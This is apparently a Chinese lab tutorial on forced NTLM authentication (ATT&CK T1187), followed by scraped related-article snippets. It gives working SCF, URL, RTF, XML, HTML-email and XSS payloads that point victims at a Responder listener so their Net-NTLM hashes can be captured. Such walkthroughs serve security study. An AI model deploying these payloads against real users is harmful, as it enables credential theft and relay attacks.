T1187 强制 NTLM 认证
在上一篇文章 一文理解 Windows 身份验证原理 介绍了什么是 NTLM 以及一些利用 NTLM 进行更一步获取权限的方式,其中就有 NTLM 中继、 Net-NTLM hash 破解。但实现这些利用,需要发起 NTLM 请求,本文章介绍下如何强制发起 NTLM 请求。
环境准备
本文章的环境是根据之前文章 搭建一个简单的Windows域环境 搭建的。先在 kali 上启动 Responder 来监听 Net-NTLM hash 。kali 的 ip 为 172.16.108.4
responder -I eth0
接着在 Windows Server 2012 域控主机上安装 office ,用于后续测试。
下面介绍一些强制进行 NTLM 认证的方式,让 Windows 2012 强制向 kali 主机发起 NTLM 请求,从而获取域控账号的 Net-NTLM hash,当然也可以进行 NTLM 中继攻击,具体方法请查看上一篇文章。
1. 通过超链接执行
让我们创建一个Word文档,该文档具有指向 kali 服务器的超链接
超链接地址为 \172.16.108.4\1.txt ,也就是 kali 服务器 Responder 的地址
在用户诱导点击后,会在 Responder 上收到发起的 NTLM 请求,成功获取 Net-NTLM hash
所以不要随便打开文档中的超链接,即使没病毒,也可能被进行强制认证。
2. 通过 .SCF 文件执行
编辑一个 fa.scf 文件,内容如下
[Shell]Command=2
IconFile=\\172.16.108.4\nc.ico
[Taskbar]
Command=ToggleDesktop
当用户打开存放该文件的目录时,fa.scf 会自动执行,自动解析图标所指的链接。迫使受害系统尝试在 Responder 正在侦听的 172.16.108.4 处对攻击系统进行 NTLM 身份验证。也可以把该文件放在共享目录上,用户打开该共享目录时,就会进行强制认证。
可以先删除 Responder 的缓存再进行测试,不然会显示跳过之前捕获的 hash
rm /usr/share/responder/Responder.db
重新打开存在 fa.scf 文件的目录,或者点刷新,就可以发起 NTLM 认证了
3. 通过 .URL 文件执行
创建一个 a.url 文件,内容如下,并将其上传到受害者系统:
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\172.16.108.4\1.icon
IconIndex=1
当用户打开存放该文件的目录时,a.url 会自动执行,自动解析图标所指的链接。迫使受害系统尝试在 Responder 正在侦听的 172.16.108.4 处对攻击系统进行 NTLM 身份验证
4. 通过.RTF文件执行
新建一个 file.rtf 文件,它将尝试从攻击系统加载图像:
{\rtf1{\field{\*\fldinst {INCLUDEPICTURE "file://172.16.108.4/test.jpg" \\* MERGEFORMAT\\d}}{\fldrslt}}}
在受害者系统上执行 file.rtf 会被强制进行 NTLM 认证:
5. 通过.XML 文件执行
Word文档可以另存为.xml
Word文档可以另存为.xml
可以通过包含一个从攻击者控制的服务器请求文档样式表的标签(第3行)来进行 NTLM 强制认证。 当打开该 xml 文档时,会进行 NTLM 认证。
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><?mso-application progid="Word.Document"?><?xml-stylesheet type="text/xsl" href="\\172.16.108.4\bad.xsl" ?>
6. 通过Field IncludePicture执行
创建一个新的Word文档并插入一个域IncludePicture:
将文件另存为.xml 或者 docx。 启动文档会进行强制 NTLM 认证
7. 通过 Outlook 执行
如果目标系统未运行最新版本的Windows / Outlook,则可以制作这样的电子邮件,使攻击者无需用户进行任何干预即可窃取受害者的 NetNTLMv2 哈希-单击电子邮件即可预览并发起强制 NTLM 认证。 请注意,此攻击不适用于Windows 10和Outlook 2016版本的最新版本,或者需要在outlook设置开启自动加载图片。
使用以下内容发送邮件到outlook:
<html><h1>holla good sir</h1><img src="file://172.16.108.4/download.jpg"></html>
RTF文件也可以使用:
{\rtf1{\field{\*\fldinst {INCLUDEPICTURE "file://172.16.108.4/test.jpg" \\* MERGEFORMAT\\d}}{\fldrslt}}}
在收到邮件后点击该邮件,会自动加载图片进行 NTLM 认证
8. 通过漏洞发起 NTLM请求
使用常见的Web漏洞,也可以发起 NTLM 请求,如 XSS、SSRF、XXE等可以导致服务器去访问一个URL的漏洞。以 XSS 为例,新建一个 html 文件。里面存在 XSS 利用代码
<html><script src="//172.16.108.4/1.js"><html/>
由于 Windows server 版本的 IE 启用了保护模式,所以需要关闭才可以自动加载外部脚本。
关闭后,打开 html 文件,即可进行 NTLM 认证
参考链接
https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication
https://www.anquanke.com/post/id/193493
https://attack.mitre.org/techniques/T1187/
本文章也在我的公众号发布
T1187 强制 NTLM 认证相关推荐
- 域渗透基础之NTLM认证协议
域渗透基础的两个认证协议ntlm和Kerberos协议是必须总结的~ 这篇简单总结下ntlm协议 晚上写下kerberos 0x01 NTLM简介 NTLM使用在Windows NT和Windows ...
- NTLM认证原理及其过程
windows认证协议主要有以下两种: 基于ntlm的认证方式,主要用在早期的windows工作组环境中,认证的过程也相对比较简单. 另一种是基于Kerberos的认证方式,主要用在域环境中 NTLM ...
- 关于HttpClient绕过SSL认证以及NTLM认证
前言 本篇文章只涉及本人在工作上使用HttpClient遇到的情况,并不会详细地展开讲如何使用HttpClient. 1. 为什么使用HttpClient? 一开始其实是考虑使用RestTemplat ...
- HttpClient+NTLM认证
1.HttpClient的使用步骤 1)创建HttpClient对象(项目中之前用的是CloseableHttpClient,这个对象无法使用NTLM认证,我换成了DefaultHttpClient) ...
- Windows本地认证和NTLM认证
目录 SSP&SSPI Windows认证方式 Windows本地认证 NTLM认证 NTLM v1和NTLM v2的区别 LmCompatibilityLevel
- HTTPS下强制重定向认证
网络安全准入对终端设备最开始和直接的就是强制其认证合法性. 原有基于HTTP重定向认证已失效,因为HTTP不安全.且浏览器都强制HSTS技术只能HTTPS. 怎么在HTTPS下还能重定向来认证? 住宿 ...
- 基于NTLM认证的中间人攻击(含实战)
文章目录 中间人攻击 0x01 域和工作组 0x02 NTLM认证(Windows) 本地认证 NTLM Hash的生成 网络认证 工作组环境NTLM认证流程 域环境NTLM认证 0x03 域名解析协 ...
- AXIS2客户端代码连接C#web service带ntlm认证
搞了两天的AXIS2连接带ntlm认证的web service,要吐血了,百度一堆,不是故作神秘的讲一大堆,就是代码给一半,装吧.... 国人就是,知道的不愿意说,说也只说一半,不知道的又装知道,真是 ...
- 如何使用httpclient进行NTLM认证登录
NTLM是微软的一种安全认证机制,有些网站是实用NTLM做的认证登陆,使用httpclient认证后可以发送一些get,post请求.代码是用来自动签到的,重点在于ntml认证. package co ...
最新文章
- 小程序将form表单数据写入云数据库
- nova api 分析
- iOS学习笔记37 时间和日期计算
- 分布式离线计算—MapReduce—基本原理
- java中public private_java中public、private、protected区别
- ES6 各浏览器支持情况
- Elasticsearch了解多少,说说你们公司es的集群架构,索引数据大小,分片有多少,以及一些调优手段 。
- Visual Studio 打开程序提示仅我的代码怎么办
- form:errors path 不显示出错信息_视觉激光雷达信息融合与联合标定
- enableEventValidation是干什么的?
- 数据库截取字段 转换成int型函数
- 2019年美赛B题思路详解
- 生成QQ/MSN/旺旺/SKYPE等在线状态图标
- C++中用两个栈实现一个队列
- 安装惠普M1136打印机一直处于“新设备已连接”状态 解决方法
- chrome谷歌浏览器使用技巧
- nginx 报错502
- java黄金分割点游戏_黄金点游戏(单机版)
- 计算机主板 也叫系统板或母版,什么是主板
- [汇编]怎样让猫吃辣椒
热门文章
- mysql 区分大小写(大小写敏感)配置
- 博客同步至阿里云开发者社区,快来帮我涨人气吧
- libpcap原理阐述
- mysql 游标循环_mysql for循环遍历 游标用处
- 数据结构 如何删除单向链表的倒数第m个元素
- pyqt5切换python版本_PyQt5每天必学之切换按钮_python
- URL存在http host头攻击漏洞-修复方案
- jsr 303_使用Spring和JSR 303进行方法参数验证
- mockito_Mockito – JAXB的RETURNS_DEEP_STUBS
- c语言bim的题目,求助:几道简单C语言程序小题